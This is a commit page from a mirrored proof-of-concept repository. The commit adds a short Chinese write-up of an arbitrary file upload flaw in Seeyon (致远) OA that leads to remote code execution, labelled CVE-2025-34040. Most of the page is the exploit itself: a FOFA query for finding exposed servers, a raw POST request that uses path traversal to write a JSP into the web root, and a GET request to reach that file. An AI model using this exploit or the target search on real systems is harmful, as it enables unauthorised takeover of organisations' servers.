admin/POC
1
0
Fork 0
mirror of https://github.com/eeeeeeeeee-code/POC.git synced 2025-11-04 18:06:34 +00:00
Code Issues Packages Projects Releases Wiki Activity

Update 致远OA存在文件上传导致RCE(CVE-2025-34040).md

Browse Source
This commit is contained in:
Rainyseason 2025-09-01 16:11:20 +08:00 committed by GitHub
parent 1ed8db136a
commit 3462196bb8
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 29 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

29
wpoc/致远OA/致远OA存在文件上传导致RCE(CVE-2025-34040).md
View File

@ -1 +1,30 @@
# 致远OA存在文件上传导致RCE(CVE-2025-34040)
致远oa存在任意文件上传漏洞，可以获取服务器权限
## fofa
```javascript
app="致远互联-OA" && title="V8.0SP2"
```
## poc
```javascript
POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/Hello.jsp&fileId=2 HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b
Accept-Encoding: gzip
--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="upload"; filename="123.xls"
Content-Type: application/vnd.ms-excel
<% out.println("HelloWorld");%>
--59229605f98b8cf290a7b8908b34616b--
```
访问地址
```
GET /Hello.jsp HTTP/1.1
Host:
```